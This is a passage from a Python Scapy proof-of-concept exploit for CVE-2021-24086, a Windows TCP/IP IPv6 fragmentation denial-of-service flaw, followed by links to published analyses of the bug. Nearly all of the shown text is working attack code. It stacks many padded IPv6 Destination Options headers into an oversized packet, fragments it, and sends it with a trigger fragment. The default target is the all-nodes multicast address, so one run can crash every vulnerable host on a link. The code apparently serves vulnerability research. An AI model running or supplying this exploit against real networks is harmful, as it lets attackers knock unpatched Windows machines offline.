PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xa0)),
]) \
/ IPv6ExtHdrFragment(
id = second_pkt_id, m = 1,
nh = 17, offset = 0
) \
/ UDP(dport = 31337, sport = 31337, chksum=0x7e7f)

reassembled_pkt = bytes(reassembled_pkt)
assert (len(reassembled_pkt) % 8) == 0, 'not aligned'
frags = frag6(args.target, frag_id, reassembled_pkt, 60)

print(f'{len(frags)} fragments, total size {hex(len(reassembled_pkt))}')
sendp(frags, iface= args.iface)

reassembled_pkt_2 = Ether() \
/ IPv6(dst = args.target) \
/ IPv6ExtHdrFragment(id = second_pkt_id, m = 0, offset = 1, nh = 17) \
/ 'doar-e ftw'

sendp(reassembled_pkt_2, iface = args.iface)

def main():
parser = argparse.ArgumentParser()
parser.add_argument('--target', default = 'ff02::1')
parser.add_argument('--iface', default = "VMware Network Adapter VMnet8")
args = parser.parse_args()
pull_the_trigger(args)
return

if __name__ == '__main__':
main()

Reference

Analysis of a Windows IPv6 Fragmentation Vulnerability: CVE-2021-24086 (quarkslab.com)

Reverse-engineering tcpip.sys: mechanics of a packet of the death (CVE-2021-24086) (doar-e.github.io)

Reverse-engineering tcpip.sys: mechanics of a packet of the death (CVE-2021-24086) (doar-e.github.io)

From URGENT/11 to Frag/44: Analysis of Critical Vulnerabilities in the Windows TCP/IP Stack (armis.com)

[原创]CVE-2021-24086 Windows TCP/IP拒绝服务漏洞分析-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

Understanding the IPv6 Header | Microsoft Press Store